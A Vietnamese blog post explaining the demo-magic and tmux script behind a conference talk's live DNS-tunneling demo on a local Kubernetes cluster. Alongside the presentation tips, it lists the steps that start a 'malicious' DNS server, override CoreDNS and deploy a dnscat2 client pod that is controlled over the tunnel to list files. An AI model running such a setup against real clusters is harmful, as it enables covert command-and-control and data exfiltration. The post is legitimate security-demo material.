Hướng Dẫn Tạo Demo DNS Tunneling Trực Tiếp Trên Kubernetes
Trong bài trình bày tại Hội nghị ContainerDays 2025, chúng ta đã thấy một demo trực tiếp với nhiều hiệu ứng hấp dẫn và các lệnh Kubernetes được thực hiện một cách mượt mà. Bài viết này sẽ hướng dẫn bạn cách tạo ra một demo tương tự, sử dụng script được viết để tạo ra các hiệu ứng đó.
Mục Lục
- Giới thiệu về
demo-magic.sh - Chuẩn bị Môi Trường
- Thiết Lập Các Cửa Sổ tmux
- Tương Tác Với Khán Giả
- Khởi Tạo Cluster
- Thiết Lập Máy Chủ Độc Hại
- Điều Chỉnh CoreDNS
- Triển Khai Client Độc Hại
- Chờ Pod Sẵn Sàng
- Thay Đổi Màu Cửa Sổ và Theo Dõi Lưu Lượng
- Hiện Thị Quy Trình Exfiltration
- Kết Thúc Demo
- Tại Sao Nó Hoạt Động?
- Bài Học Rút Ra Cho Người Tham Dự
Giới Thiệu Về demo-magic.sh
Script bắt đầu với:
bash
demo-magic.sh
demo-magic.sh là một thư viện Bash nhỏ giúp việc trình diễn trực tiếp trở nên mượt mà hơn:
p "text"→ in ra một lệnh (chỉ để kể chuyện).pe "command"→ in và thực thi lệnh.pei "command"→ in, thực thi và giữ cửa sổ mở cho sự tương tác.TYPE_SPEED=20→ điều chỉnh tốc độ hiển thị ký tự (20 ms cho mỗi ký tự).
Điều này tạo ra hiệu ứng “gõ trước mắt bạn” mà không có lỗi gõ từ con người.
Chuẩn Bị Môi Trường
bash
echo "" > ~/kind.log
kind delete cluster > /dev/null 2>&1 || true
docker kill dnscat2-server > /dev/null 2>&1 || true
tmux kill-pane -a
Đoạn mã này giúp khôi phục môi trường để bạn có thể chạy lại demo mà không có các dữ liệu thừa:
- Xóa các log trước đó.
- Xóa bất kỳ cluster
kindnào cũ. - Dừng máy chủ
dnscat2độc hại nếu đang chạy. - Đóng tất cả các cửa sổ tmux thừa.
Thiết Lập Các Cửa Sổ Tmux
bash
tmux split-window -v -p 30
tmux select-pane -t 0
tmux split-window -h -p 60
tmux select-pane -t 0
tmux clock-mode -t 2
Đoạn mã này tạo ra “bảng điều khiển” cho demo:
- Cửa sổ 0 (trên bên trái): khu vực lệnh chính của bạn.
- Cửa sổ 1 (30% dưới): cho hình ảnh ASCII và sau đó là máy chủ DNS của kẻ tấn công.
- Cửa sổ 2 (60% bên phải): cho log/trạng thái, với một đồng hồ trực tiếp.
Sau đó:
bash
tmux send-keys -t 1 "watch -t jp2a --width=65 --height=31 Picture1.png | lolcat -a -s 10 -d 60" Enter
Cửa sổ 1 sẽ hiển thị hình ảnh nghệ thuật ASCII đang chạy, được tô màu bằng lolcat.
Tương Tác Với Khán Giả
bash
echo "Are you ready ???"
wait
wait dừng lại cho đến khi bạn nhấn Enter — một thời điểm tự nhiên để nói chuyện với khán giả trước khi bắt đầu các bước nặng nề.
Khởi Tạo Cluster
bash
tmux send-keys -t 2 "tail -f ~/kind.log" Enter
kind create cluster > ~/kind.log 2>&1
kind get kubeconfig > ~/.kube/config
kind load docker-image alialp/dnscat2-client > /dev/null 2>&1
kubectl config set-context --current --namespace demo
- Cửa sổ 2 theo dõi log, vì vậy khán giả thấy tiến trình tạo cluster.
kind create clusterxây dựng cluster Kubernetes-in-Docker.- Hình ảnh
dnscat2-clientđược tải vào cluster. - Ngữ cảnh được chuyển sang namespace
demo.
Thiết Lập Máy Chủ Độc Hại
bash
tmux send-keys -t 1 C-c
tmux send-keys -t 1 "bash ./dns-evil-server.sh" Enter
kubectl create namespace demo
- Cửa sổ 1 dừng hiển thị hình ảnh ASCII và bắt đầu khởi động máy chủ DNS độc hại của bạn.
- Namespace
demođược tạo ra.
Điều Chỉnh CoreDNS
bash
kubectl wait --namespace kube-system --for=condition=Ready pod --all --timeout=90s
kubectl replace -f coredns-cm.yaml --force
kubectl rollout restart -n kube-system deployment coredns
kubectl wait --namespace kube-system --for=condition=Ready pod --all --timeout=90s
Điều này đảm bảo rằng ConfigMap điều chỉnh DNS được cấu hình để hỗ trợ chuyển tiếp DNS localhost qua Docker và CoreDNS được khởi động lại một cách sạch sẽ.
Triển Khai Client Độc Hại
bash
tmux send-keys -t 2 C-c
tmux send-keys -t 2 "watch -t -d -n 1 -- kubectl get pods -n demo" Enter
pei "cat ./dnscat2-client-pod.yaml"
pe "kubectl apply -f dnscat2-client-pod.yaml"
- Cửa sổ 2 hiện đang theo dõi các pod trong namespace
demo. - Manifest được hiển thị (
cat) sau đó được áp dụng. - Khán giả thấy pod bắt đầu chạy.
Chờ Pod Sẵn Sàng
bash
while ! kubectl get pod dnscat-client -o jsonpath="{.status.phase}" 2>/dev/null | grep -q Running; do sleep 1; done;
Vòng lặp này chặn đến khi pod đang ở trạng thái Running.
Thay Đổi Màu Cửa Sổ và Theo Dõi Lưu Lượng
bash
tmux select-pane -t 1 -P 'bg=#872736';
tmux send-keys -t 2 C-c
tmux send-keys -t 2 "kubectl sniff -n demo dnscat-client -o - | tshark -i -" Enter
- Màu nền của cửa sổ 1 chuyển sang đỏ để thu hút sự chú ý và cho thấy rằng một phiên tunneling DNS đã được tạo ra giữa pod Kubernetes và máy chủ DNS của kẻ tấn công.
- Cửa sổ 2 bắt đầu ghi lại gói tin từ pod client, chuyển tiếp vào
tshark.
Hiện Thị Quy Trình Exfiltration
bash
kubectl exec -n demo pods/dnscat-client -- watch -t -d -n 1 ls -al /home/
Từ Cửa sổ 0, client được điều khiển thông qua tunneling DNS — khán giả thấy danh sách tệp trực tiếp.
Kết Thúc Demo
bash
p "echo 'Press Enter to end the demo! '"
echo "✅ Demo complete!"
echo "Cleaning up..."
kind delete cluster
docker kill dnscat2-server
tmux kill-pane -a
clear
Việc dọn dẹp là tự động: cluster bị xóa, server bị dừng, các cửa sổ đóng lại, màn hình được làm sạch.
Tại Sao Nó Hoạt Động?
- demo-magic xử lý thời gian và gõ.
- tmux cung cấp nhiều góc nhìn: nghệ thuật, log, trạng thái trực tiếp.
- send-keys cho phép bạn tải trước các lệnh vào các cửa sổ, vì vậy không có gì được gõ lại dưới áp lực.
- wait cung cấp những khoảng nghỉ tự nhiên cho việc kể chuyện.
- màu sắc và hình ảnh giữ cho khán giả quan tâm.
Bài Học Rút Ra Cho Người Tham Dự
Bạn có thể áp dụng cùng một phương pháp cho bất kỳ demo trực tiếp nào:
- Chuẩn bị trước các lệnh với
demo-magic. - Sử dụng
tmuxđể dành các cửa sổ cho hình ảnh, log nền và gõ chính. - Sử dụng nghệ thuật ASCII hoặc màu sắc để giữ cho mọi người nhìn vào màn hình của bạn.
- Luôn thêm các bước dọn dẹp để bạn có thể chạy lại một cách đáng tin cậy.
Chúc bạn lập trình vui vẻ :)